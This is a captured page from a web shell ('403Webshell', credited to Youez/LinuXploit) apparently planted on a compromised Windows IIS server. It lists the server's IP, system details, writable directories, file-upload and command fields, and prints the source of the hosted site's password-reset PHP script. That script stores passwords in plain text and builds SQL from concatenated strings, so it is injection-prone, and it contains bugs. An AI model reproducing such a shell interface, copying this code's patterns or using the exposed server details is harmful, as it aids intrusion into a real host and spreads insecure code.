403Webshell
Server IP : 209.209.40.120  /  Your IP : 216.73.217.112
Web Server : Microsoft-IIS/10.0
System : Windows NT NEWWWW 10.0 build 17763 (Windows Server 2019) i586
User : NEWWWW$ ( 0)
PHP Version : 8.3.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/HostingSpaces/admin/247sms.com/wwwroot/test/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/HostingSpaces/admin/247sms.com/wwwroot/test/npassprocess.php
<?php
include "general.php";
include "connect.php";
include 'sendmailclient.php';



 function changepass( $username,$domain,$newpass)
{
 include "connect.php";
if ($mtype =="1"){
    $username="system";
}

 $cnt ="1";


 $query=" Update userlogin set pass='". $newpass. "' where username='". $username ."' and domain='".$domain."'";
  
  
 //$query ="select * from userlogin where email='". $memail ."' and domain='". $domain."'";
//echo $query;
//exit();
if(!$result= mysqli_query($con,$query))
{
  //echo mysqli_error($con);
  echo "Database error please try again";
   mysqli_close($con);
   return "6";
  
}
else
{
$cnt= "0";
mysqli_close($con);
return $cnt;
}

}			



function updatefgot( $username,$domain,$id)
{
 include "connect.php";
if ($mtype =="1"){
    $username="system";
}

 $cnt ="1";


 $query=" Update fgotpass set status='1' where username='". $username ."' and domain='".$domain."' and emailcode ='".$id."'";
  
  
// $query ="select * from userlogin where email='". $memail ."' and domain='". $domain."'";
//echo $query;
//exit();
if(!$result= mysqli_query($con,$query))
{
  echo mysqli_error($con);
  echo "Database error please try again";
   mysqli_close($con);
   return "6";
  
}
else
{
$cnt= "0";
mysqli_close($con);
return $cnt;
}

}			

function rand_string( $length ) {
		$chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";	
		
		$size = strlen( $chars );
		for( $i = 0; $i < $length; $i++ ) {
			$str .= $chars[ rand( 0, $size - 1 ) ];
		}
		
		return $str;
	}
	
	
	
	
  //$emailcode = $_SESSION["emailcode"]; 
  $newpass =$_REQUEST["npass"];
  $cnewpass =$_REQUEST["cnpass"];
 // $newpass =$_REQUEST["newpass"];
 // $confirmpass =$_REQUEST["confirmpass"];  
  //echo $currentPassword;
  //exit();
  if ($newpass !=$cnewpass)
  
  {
     header('Location: npass.php?err=1');
	 exit();
  }
  
  
  if (strlen($newpass) < 6)
  
  {
     header('Location: npass.php?err=2');
	 exit();
  }
  
  if (is_numeric($newpass))
  
  {
     header('Location: npass.php?err=3');
	 exit();
  }
  
   $username = $_SESSION['username'];  
   $id = $_SESSION['id'];
  $response = changepass($username,$domain,$newpass);
  
  //echo $response;
  //exit();
   
   if ($response =="0")
  
  {
   $response = updatefgot($username,$domain,$id);
     //send an email
	 
$email =$_SESSION['email'];	 
$mysub = "Password Reset " . $domain;
$myMessage ="Dear <b>". $username. "</b>,<br><br>";
$myMessage .= "You just did password reset to your account with  ". $domain .".<br><br>"; 
$myMessage .= "If you have not requested this change, please contact your Account Manager.</b><br><br>";
$myMessage .= "Thanks for your doing business with us. " . "<br>";
$myMessage .= "<b>Support " . $domain."</b>";

$mysub = "Password Reset " . $domain;
$myMessage2 ="Dear <b>". $username. "</b>\n\n";
$myMessage2 .= "You just did password reset to your account with ". $domain .".\n\n"; 
$myMessage2 .= "If you have not requested this change, please contact your Account Manager.</b>\n\n";
$myMessage2 .= "Thanks for your doing business with us. " . "\n";
$myMessage2 .= "<b>Support " . $domain."\n";

$mymail = sendmailtoclient($email,$myMessage,$myMmessage2,$mysub,$mfrom,$mfromname);

	 
	 //
     header('Location: npass.php?err=0');
	 exit();
  }else
  {
     header('Location: npass.php?err=15');
	 exit();
  }
   
  

?>

Youez - 2016 - github.com/yon3zu
LinuXploit